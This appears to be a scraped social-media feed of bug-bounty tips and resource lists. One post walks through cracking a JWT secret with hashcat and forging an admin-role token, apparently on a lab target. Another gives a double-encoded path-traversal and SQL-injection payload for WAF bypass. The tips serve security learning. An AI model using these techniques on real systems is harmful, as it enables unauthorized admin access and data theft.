Pwdec1337

Turkish Bug Hunter

[Pwdec1337 @pwdec1337]

@Alokkumarzz Send

[SusluSec @suslu7616]

Trciks: #jwt

+ Locate the user's JWT tokens. `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImpvaG4iLCJyb2xlIjoidXNlciIsImV4cCI6MTc3NjI2MTEwMywiaWF0IjoxNzc2MTc0NzAzLCJpc3MiOiJsYWJzIn0.02A44jncvea5se0PFhIAzJ-mo4iFT-xVNsEB-dt6_EY`

+ Crack this JWT password using hashcat.

```hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImpvaG4iLCJyb2xlIjoidXNlciIsImV4cCI6MTc3NjI2MTEwMywiaWF0IjoxNzc2MTc0NzAzLCJpc3MiOiJsYWJzIn0.02A44jncvea5se0PFhIAzJ-mo4iFT-xVNsEB-dt6_EY' /usr/share/wordlists/rockyou.txt```

hashcat output

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImpvaG4iLCJyb2xlIjoidXNlciIsImV4cCI6MTc3NjI2MTEwMywiaWF0IjoxNzc2MTc0NzAzLCJpc3MiOiJsYWJzIn0.02A44jncvea5se0PFhIAzJ-mo4iFT-xVNsEB-dt6_EY:supersecret

```
Using the cracked `supersecret` key, change the `"role":"user"` value in the JWT payload to `"role":"admin"` and create a new token.

Use this token to send a request to the admin panel to gain access.

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImpvaG4iLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3NzYyNjExMDMsImlhdCI6MTc3NjE3NDcwMywiaXNzIjoibGFicyJ9.MRREDujcdiBRgCEj8O9pnpK1R8AlTfgx0eG5LBCMZC4
```

**Payload**
```
{
"user_id": 1,
"username": "john",
"role": "admin",
"exp": 1776261103,
"iat": 1776174703,
"iss": "labs"
}
```

#bugbounty #xss #cybersecurity #websecurity #sqli #infosec #redteam #AppSec #hacking #cybersecuritytips #bugbountytips #informationdisclousure #jwt

[Omar Abdelsalam @lex_is1]

Bug Bounty Tip 🐞
Some WAFs fail during URL normalization.
Try bypass techniques like:
• Double encoding (%252f)
• Unusual / nested paths

Example:
/api/v1/%2e%2e/%2e%2e/config?id=1%252bUNION%252bSELECT%252bsecrets--
Always test only on authorized systems 🛡️

[Pwdec1337 @pwdec1337]

@SagliktanHabr @grok samsun ne zaman

[Security Trybe @SecurityTrybe]

Best free CTF Platforms

[Alex Xu @alexxubyte]

SQL Injection (SQLi) Explained

[Learn Something @cooltechtipz]

50 websites to find unlimited content

[Abraham Okah(info hub) @AbrahamOkah2]

40 Sites to Download Books for free

1. Planet eBook
2. Free-eBooks. net
3. ManyBooks
4. LibriVox
5. Internet Archive
6. BookBub
7. Open Library
8. BookBoon
9. Feedbooks
10. Smashwords
11. Project Gutenberg
12. Google Books
13. PDFBooksWorld
14. FreeTechBooks
15. Bookyards
16. GetFreeBooks
17. eBookLobby
18. FreeComputerBooks
19. OpenCulture
20. Library Genesis (LibGen)
21. Goodreads
22. Obooko
23. O'Reilly
24. PDF Drive
25. Anna's Archive
26. PDF Room
27. PDF Coffee
28. Dokumen Pub
29. Z Library
30. Ocean of PDF
31. Dirzon
32. Booksfree
33. EngbooksPDF
34. Elejandria
35. Espaebook
36. Wonderful Books
37. Lectuland
38. LeerLibrosOnline
39. ePubLibre
40. Standard Ebooks

[Today I Learned @TodayiLearrned]

Computer Parts

[Elorm Daniel @elormkdaniel]

Here is a link to free Cybersecurity Ebooks that can help beginners in their journey

https://t.co/zZQKMMhESJ

[VIEH Group @viehgroup]

💡 Tip: Always use the FindSomething extension!

You can often discover exposed credentials that lead to admin panel access, unauthorized entry, and critical vulnerabilities.

Credit: @mooo_sec
#InfoSec #BugBounty #SecurityTips #bugbountytips

[IPCisco @ip_cisco]

Types Of VPN!! | IPCisco
.
Please Like & Retweet..:)
.
#network #networking #ccna

[Elorm Daniel @elormkdaniel]

.

[Tom Dörr @tom_doerr]

fresh proxy lists updated every 5 minutes, includes http, https, socks4, socks5

[Abdulkadir | Cybersecurity @cyber_razz]

Common Networking Protocols and Ports

[Harshleen @0xharshleen]

Wordlists specially for API routes fuzzing 📝
🔗https://t.co/4rNylw731J

[X @TheMsterDoctor1]

Live bug bounty videos!!!!!

https://t.co/v2ov4wZG0p

[X @TheMsterDoctor1]

🔍 Unlock the secrets of the web with "The Art of Web Reconnaissance: Bug Bounty & Ethical Hacking"! 🌐💻

📌 What you'll learn:
- Advanced web reconnaissance techniques
- Identifying and exploiting vulnerabilities
- Best practices for ethical hacking
- Real-world bug bounty hunting tips

Course link : https://t.co/iZUEe4Qywl

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[Frozt Nova @FroztNova127]

Day 27 - Bug Bounty

1. Clicking every button and features to get used to the app
2. Testing idor on endpoints with "id" but got no luck
3. Testing csrf by removing csrf token on endpoints but got no luck

Total earned: 1832$

[Harshleen @0xharshleen]

Ethical Hacking Resources👾
🔗https://t.co/bTndGIGtaP
-Credit: @_CryptoCat